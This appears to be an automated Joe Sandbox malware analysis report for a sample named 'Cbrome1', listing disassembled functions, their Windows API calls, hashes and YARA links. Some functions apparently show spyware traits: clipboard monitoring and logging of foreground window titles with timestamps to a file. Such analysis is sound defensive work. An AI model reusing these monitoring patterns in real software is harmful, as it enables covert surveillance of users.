UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24690

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction ID: 37c8345dce90668d9925a6d2cd96a7ae9a95feab2c8158f833b4eadbe10c4973
Opcode Fuzzy Hash: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction Fuzzy Hash: 4C31B135108B489AE7009B51F95875BB3B4FB84B54F40013AEECE427A9DF7CC2A4CB02

Function 0000023A295E6E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000023A295E6E9B
_get_daylight.LIBCMT ref: 0000023A295E6EB1

Part of subcall function 0000023A295E7C0C: _errno.LIBCMT ref: 0000023A295E7C15
Part of subcall function 0000023A295E7C0C: _invalid_parameter_noinfo.LIBCMT ref: 0000023A295E7C20

_get_daylight.LIBCMT ref: 0000023A295E6EC6

Part of subcall function 0000023A295E7BAC: _errno.LIBCMT ref: 0000023A295E7BB5
Part of subcall function 0000023A295E7BAC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A295E7BC0

_get_daylight.LIBCMT ref: 0000023A295E6EDB

Part of subcall function 0000023A295E7BDC: _errno.LIBCMT ref: 0000023A295E7BE5
Part of subcall function 0000023A295E7BDC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A295E7BF0

___lc_codepage_func.LIBCMT ref: 0000023A295E6EE8

Part of subcall function 0000023A295EC3A8: _getptd.LIBCMT ref: 0000023A295EC3AC

Part of subcall function 0000023A295E84C8: __wtomb_environ.LIBCMT ref: 0000023A295E84F8

free.LIBCMT ref: 0000023A295E6F59

Part of subcall function 0000023A295E36E0: _errno.LIBCMT ref: 0000023A295E3700

free.LIBCMT ref: 0000023A295E6FC2

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: 4a749bb401547c3c16b56938e61c62956aba269b42f1fdbc7e19267d1c0d3276
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: F1D1C5307187444EE768DF2898497ABB7E5FB85B00F44453EE9CAC3292DB359A168783

Function 0000023A29E29FFC Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000023A29E2A060

Part of subcall function 0000023A29E2537C: Sleep.KERNEL32(?,?,ceil,0000023A29E24907,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E253C1

free.LIBCMT ref: 0000023A29E2A0DE
free.LIBCMT ref: 0000023A29E2A125
GetLocaleInfoW.KERNEL32 ref: 0000023A29E2A15C
GetLocaleInfoW.KERNEL32 ref: 0000023A29E2A186
free.LIBCMT ref: 0000023A29E2A193
GetLocaleInfoW.KERNEL32 ref: 0000023A29E2A1BE

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction ID: a574ecc2b33768b159f31c11e36d9e5e45b1eccc48bd1057d50059d9adbf1f14
Opcode Fuzzy Hash: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction Fuzzy Hash: D351F032B1475442F7605A22A929F6B36F5BB98F94F00903D9D8947BC6EE7CC621C702

Function 0000023A29E14380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 0000023A29E143CD
SendMessageA.USER32 ref: 0000023A29E143E1
DestroyWindow.USER32 ref: 0000023A29E143EF
PostQuitMessage.USER32 ref: 0000023A29E143F7
ChangeClipboardChain.USER32 ref: 0000023A29E1440C
SetClipboardViewer.USER32 ref: 0000023A29E1441A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: f4686ad6f00545a8a74fb80fc710b2a5855b531437fd83a13c2c5e84d118f242
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: C70184B161060182F7651B75B84DB3711F4FB48F51F481435CD9986A90EF2C8BF28616

Function 0000023A29E2CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E2CE1F

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

GetLocaleInfoA.KERNEL32 ref: 0000023A29E2CE54
GetLocaleInfoA.KERNEL32 ref: 0000023A29E2CEAC
GetLocaleInfoA.KERNEL32 ref: 0000023A29E2CFA0

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction ID: f0f69882ebc435a472813eb976172f1863953387af8680f96c69eac87fde521e
Opcode Fuzzy Hash: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction Fuzzy Hash: CE716B32B10B8597EB698B31C948BDEB3A1F788B45F54402EDBA987290DB38D675C701

Function 0000023A29E2E600 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E29D42), ref: 0000023A29E2E64B
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E29D42), ref: 0000023A29E2E6DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E29D42), ref: 0000023A29E2E717
free.LIBCMT ref: 0000023A29E2E72B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction ID: fd4664a393e5a5604810e9b2d8e4dd1a834f116468a9426ec271fb0145d5ba5e
Opcode Fuzzy Hash: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction Fuzzy Hash: C0419432701B908AEB109F259809A5B77F5F744FA8F58463DDE9947BD4DB7CC6218301

Function 0000023A29E1DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0000023A29E1DD9F
GetWindowTextA.USER32 ref: 0000023A29E1DDBC
lstrlen.KERNEL32 ref: 0000023A29E1DDF5
GetLocalTime.KERNEL32 ref: 0000023A29E1DE04
wsprintfA.USER32 ref: 0000023A29E1DE54

Part of subcall function 0000023A29E1DCA0: WaitForSingleObject.KERNEL32 ref: 0000023A29E1DCBC
Part of subcall function 0000023A29E1DCA0: CreateFileA.KERNEL32 ref: 0000023A29E1DCEE
Part of subcall function 0000023A29E1DCA0: SetFilePointer.KERNEL32 ref: 0000023A29E1DD13
Part of subcall function 0000023A29E1DCA0: lstrlen.KERNEL32 ref: 0000023A29E1DD1C
Part of subcall function 0000023A29E1DCA0: WriteFile.KERNEL32 ref: 0000023A29E1DD39
Part of subcall function 0000023A29E1DCA0: CloseHandle.KERNEL32 ref: 0000023A29E1DD42
Part of subcall function 0000023A29E1DCA0: ReleaseMutex.KERNEL32 ref: 0000023A29E1DD54

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction ID: c80789d381f314d7f867a789ead17ed23a1f2adb38b470afcf51bed1cf02ea2f
Opcode Fuzzy Hash: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction Fuzzy Hash: 13312DB1618A4581F710DB51F84876BB7B1F788B44F45403AEECA86A64EF7CC768CB06

Function 0000023A29E26CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E26CE5

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Part of subcall function 0000023A29E26A70: _getptd.LIBCMT ref: 0000023A29E26AAA

Part of subcall function 0000023A29E252FC: malloc.LIBCMT ref: 0000023A29E25327
Part of subcall function 0000023A29E252FC: Sleep.KERNEL32(?,?,ceil,0000023A29E29B11,?,?,?,0000023A29E29BBB,?,?,00000000,0000023A29E24875,?,?,00000000,0000023A29E2492C), ref: 0000023A29E2533A

free.LIBCMT ref: 0000023A29E26F42
free.LIBCMT ref: 0000023A29E26F79
free.LIBCMT ref: 0000023A29E26F86

Part of subcall function 0000023A29E25664: GetCurrentProcess.KERNEL32(?,?,?,?,0000023A29E25706), ref: 0000023A29E2567C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction ID: cb6b04fd58536f6d54e6cc817b74f35365d23e2aca2fb3133446e243a8ef3655
Opcode Fuzzy Hash: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction Fuzzy Hash: A3A1AD72A0578496EB24DF25E549B9B77B0F744B88F10423AAF8D47B54EB3CDA61CB00

Function 0000023A295DFB38 Relevance: 5.9, APIs: 4, Instructions: 892COMMON

Download Yara Rule

APIs

memchr.LIBCMT ref: 0000023A295DFD0C
memchr.LIBCMT ref: 0000023A295DFD35
rand.LIBCMT ref: 0000023A295DFE9A
rand.LIBCMT ref: 0000023A295E0189

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: memchrrand
String ID:
API String ID: 2128663743-0
Opcode ID: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
Instruction ID: 601fec5f978cc74853d82757da7f18f67c4b49a2cef25f8a1853ada1a3e39f12
Opcode Fuzzy Hash: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
Instruction Fuzzy Hash: 38627330224A8C8FEB65EF28C84D7EA37E1FB59700F50062EDC9AC71D1DB7596958782

Function 0000023A29E351A4 Relevance: 5.8, Strings: 4, Instructions: 796COMMONLIBRARYCODE

Download Yara Rule

Strings

1#SNAN, xrefs: 0000023A29E3528E
1#QNAN, xrefs: 0000023A29E35341
1#IND, xrefs: 0000023A29E352D3
1#INF, xrefs: 0000023A29E3530A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: e6c8a2d0b6664a405eed0e845c007c9e4a2cf3feeada1d9e8a63721b355b0128
Instruction ID: 3ddb3f857ea262c83fe4c86df82f0ddeeec7025e1ee28d50caccb8a85af91e3a
Opcode Fuzzy Hash: e6c8a2d0b6664a405eed0e845c007c9e4a2cf3feeada1d9e8a63721b355b0128
Instruction Fuzzy Hash: 4662E477B243508AF724CF75C018FBE37B5B754B48F488429DE8967B84EA388A25C749

Function 0000023A29E224A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 0000023A29E2274E

Strings

base, xrefs: 0000023A29E2267B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction ID: ac4f4808af85c0a6b73f1260850259d546c09d434f76bcd9064133f6d1ea7e76
Opcode Fuzzy Hash: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction Fuzzy Hash: 8E912572A0074086EB58CB26D054B2B77B1F788F94F14C139DF9A07B95DE3CCAA28742

Function 0000023A29E12380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,0000023A29E122C7), ref: 0000023A29E124B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,0000023A29E122C7), ref: 0000023A29E124F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,0000023A29E122C7), ref: 0000023A29E12643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,0000023A29E122C7), ref: 0000023A29E12678

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction ID: 3713027af3b991fa5b334b1b1c06aecca6760cad811735fb0264eea09ccec743
Opcode Fuzzy Hash: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction Fuzzy Hash: C3A1CD32300B8087EB198F29D598B6E67B5F744F84F048528DE9A57784EF3CDAA18B41

Function 0000023A295E78DC Relevance: 4.8, APIs: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E78FD
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E7909
_errno.LIBCMT ref: 0000023A295E7936

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction ID: 062564e212a200fbcf85a13b37650aaad038bd6c90402aa67c366c5671043dd3
Opcode Fuzzy Hash: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction Fuzzy Hash: 0081273171080A0FD70C9E2C8C6A3B537D6F7E8315F18927EE9C6CB6E6E939D6168241

Function 0000023A29E27F24 Relevance: 4.7, APIs: 3, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E27F45
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E27F51
_errno.LIBCMT ref: 0000023A29E27F7E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: bdf9fcc898bf489283e3e90dea2c16c54b6cf4cda00a3ff335466eb845e9843a
Instruction ID: 3fb8d7a61d43463f820137f1071c5379ec497f4a2d3f25cc52dfad648f3f3ce6
Opcode Fuzzy Hash: bdf9fcc898bf489283e3e90dea2c16c54b6cf4cda00a3ff335466eb845e9843a
Instruction Fuzzy Hash: CE615DB2F117094BEB1C8B18DC15B6962A2B398B84F08D13AEE598F7D5F63CE7114741

Function 0000023A29E2D0C8 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E2D0EA

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

GetLocaleInfoA.KERNEL32 ref: 0000023A29E2D11F

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 1b90441dd951aa55a8cc2347dbeec0fcf2b37a653048fd9bac8e326577796962
Instruction ID: 36bab437fbba8bbb1aa078bbc9a2ceb516753dab303ec54ae05567b3e7f8c0ad
Opcode Fuzzy Hash: 1b90441dd951aa55a8cc2347dbeec0fcf2b37a653048fd9bac8e326577796962
Instruction Fuzzy Hash: A1317A32B00BC187EB698B25D949BDA73B0FB84B45F00403ACB9987685DB3CD6B4C702

Function 0000023A295E72F0 Relevance: 3.3, APIs: 2, Instructions: 311COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 0000023A295E7562
_get_daylight.LIBCMT ref: 0000023A295E75E8

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _get_daylight
String ID:
API String ID: 4143689357-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: 5f1af852200b241ec28233e2ed49971306aa7e09282752bc199264026a73c11f
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: 1FA167717146050FE71C9E18CC867AA77E6F398304F14913EDEC7CB2D6E635EA168682

Function 0000023A295E9BFC Relevance: 3.2, APIs: 2, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0000023A295E9C41
_set_error_mode.LIBCMT ref: 0000023A295E9C52

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _set_error_mode
String ID:
API String ID: 1949149715-0
Opcode ID: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction ID: a08144840b17236f8e4de8a6551161bd8f4e7dfa7d5871977daa00d3b09cc0dc
Opcode Fuzzy Hash: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction Fuzzy Hash: 61618531718A484FEB58EF28D86A76B73E5F795700F00453EE9CAC21D2DE39CA198647

Function 0000023A29E27938 Relevance: 3.2, APIs: 2, Instructions: 235COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 0000023A29E27BAA

Part of subcall function 0000023A29E28224: _errno.LIBCMT ref: 0000023A29E2822D
Part of subcall function 0000023A29E28224: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28238

_get_daylight.LIBCMT ref: 0000023A29E27C30

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _get_daylight$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3559991230-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: a2c885664ea37986f6fabd9c0170b5829ebc2f155da37914dbd6c578166088f8
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: 1D914972B147444BE31CCB18DD56F5A66A6F3A4B00F44913DDD898BB94E73DEB208741

Function 0000023A29E2CC80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E2CCA7

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

GetLocaleInfoA.KERNEL32 ref: 0000023A29E2CCDC

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 320859621fc5c7361d8b7697c278a065d90f54e1d76246966e96986d4faa55df
Instruction ID: bec9b35499e8570851fae09bc118e796ad0aa2d18fe352990f98e1a7494a13cd
Opcode Fuzzy Hash: 320859621fc5c7361d8b7697c278a065d90f54e1d76246966e96986d4faa55df
Instruction Fuzzy Hash: D821AE32B04B8096EB28CB25E849BDB73B4F788B80F44413ADE9987344DB3CD625CB41

Function 0000023A29E26A70 Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E26AAA

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Part of subcall function 0000023A29E2739C: _errno.LIBCMT ref: 0000023A29E273B4
Part of subcall function 0000023A29E2739C: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E273C0

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _amsg_exit_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 1050512615-0
Opcode ID: 59c00d8155d8c46e30e7b3108685d46dad391c58fc8cf50e3481d026a2e91b3a
Instruction ID: e5d07d0e05d6953b2af9e66d2d563f440acee944e500fc1fdde55fc666c7542f
Opcode Fuzzy Hash: 59c00d8155d8c46e30e7b3108685d46dad391c58fc8cf50e3481d026a2e91b3a
Instruction Fuzzy Hash: EC511BB2B0478041FB60EB22A659FAB57B5F794FC4F44413A9EC907B89DE3DCA218701

Function 0000023A29E2CD68 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0000023A29E2CD9C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
Instruction ID: c3d5237b9c943933350d3d45837d34b2208b3ea431c90ad03d100cca5e9aacfd
Opcode Fuzzy Hash: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
